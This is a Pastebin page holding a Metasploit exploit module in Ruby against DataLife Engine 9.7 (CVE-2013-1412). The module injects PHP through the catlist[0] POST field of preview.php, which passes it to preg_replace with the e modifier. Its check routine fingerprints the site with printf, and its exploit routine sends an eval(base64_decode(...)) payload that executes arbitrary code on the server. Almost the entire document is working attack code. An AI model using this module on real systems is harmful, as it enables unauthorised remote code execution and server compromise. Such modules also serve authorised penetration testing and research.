Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This file is part of the Exploit + Zero Day and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # web site for more information on licensing and terms of use.
- # http://metasploit.com/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'DataLife Engine preview.php PHP Code Injection',
- 'Description' => %q{
- This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
- The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
- with the e modifier, which allows to inject arbitrary php code, when the template
- in use contains a [catlist] or [not-catlist] tag.
- },
- 'Author' =>
- [
- 'EgiX', # Vulnerability discovery
- 'juan vazquez' # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'CVE', '2013-1412' ],
- [ 'BID', '57603' ],
- [ 'EDB', '24438' ],
- [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
- [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
- ],
- 'Privileged' => false,
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Payload' =>
- {
- 'Keys' => ['php']
- },
- 'DisclosureDate' => 'Jan 28 2013',
- 'Targets' => [ ['DataLife Engine 9.7', { }], ],
- 'DefaultTarget' => 0
- ))
- register_options(
- [
- OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
- ], self.class)
- end
- def uri
- normalize_uri(target_uri.path, 'engine', 'preview.php')
- end
- def check
- fingerprint = rand_text_alpha(4+rand(4))
- res = send_request_cgi(
- {
- 'uri' => uri,
- 'method' => 'POST',
- 'vars_post' =>
- {
- 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
- }
- })
- if res and res.code == 200 and res.body =~ /#{fingerprint}/
- return Exploit::CheckCode::Vulnerable
- else
- return Exploit::CheckCode::Safe
- end
- end
- def exploit
- @peer = "#{rhost}:#{rport}"
- print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
- res = send_request_cgi(
- {
- 'uri' => uri,
- 'method' => 'POST',
- 'vars_post' =>
- {
- 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
- }
- })
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement